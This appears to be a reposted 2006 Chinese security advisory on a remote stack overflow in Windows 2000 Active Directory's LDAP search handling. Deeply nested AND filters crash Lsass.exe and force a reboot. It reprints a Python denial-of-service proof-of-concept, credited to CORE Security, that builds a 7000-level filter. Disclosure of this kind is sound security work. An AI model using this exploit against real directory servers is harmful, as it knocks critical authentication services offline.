Microsoft Windows 活动目录远程堆栈溢出缺陷

王朝system·作者佚名  2006-11-24
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涉及程序:

Win2k Active Directory

描述:

Microsoft Windows 活动目录远程堆栈溢出缺陷

详细:

Windows Active Directory(活动目录)是Windows 2000结构的重要组件,是Microsoft提供的强大的目录服务系统。

Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查,远程攻击者可利用此缺陷使Lsass.exe服务崩溃,触发缓冲区溢出。

通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的'search request'请求功能存在问题,攻击者如果构建超过1000个"AND"的请求,并发送给服务器,可导致触发堆栈溢出,使Lsass.exe服务崩溃,系统会在30秒内重新启动。

攻击方法:

CORE Security Technologies Advisories (advisories@coresecurity.com)提供了如下测试方法:

下面是一段Python测试脚本:

------------------------------------

class ActiveDirectoryDOS( Ldap ):

def __init__(self):

self._s = None

self.host = '192.168.0.1'

self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'

self.port = 389

self.buffer = ''

self.msg_id = 1

Ldap.__init__()

def generateFilter_BinaryOp( self, filter ):

filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()

filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )

return filterBuffer

def generateFilter_RecursiveBinaryOp( self, filter, numTimes):

simpleBinOp = self.generateFilter_BinaryOp( filter )

filterBuffer = simpleBinOp

for cnt in range( 0, numTimes ):

filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )

return filterBuffer

def searchSub( self, filterBuffer ):

self.bindRequest()

self.searchRequest( filterBuffer )

def run(self, host = '', basedn = '', name = '' ):

# the machine must not exist

machine_name = 'xaxax'

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

# execute the anonymous query

print 'executing query'

filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )

self.searchSub( filterBuffer )

 
 
 
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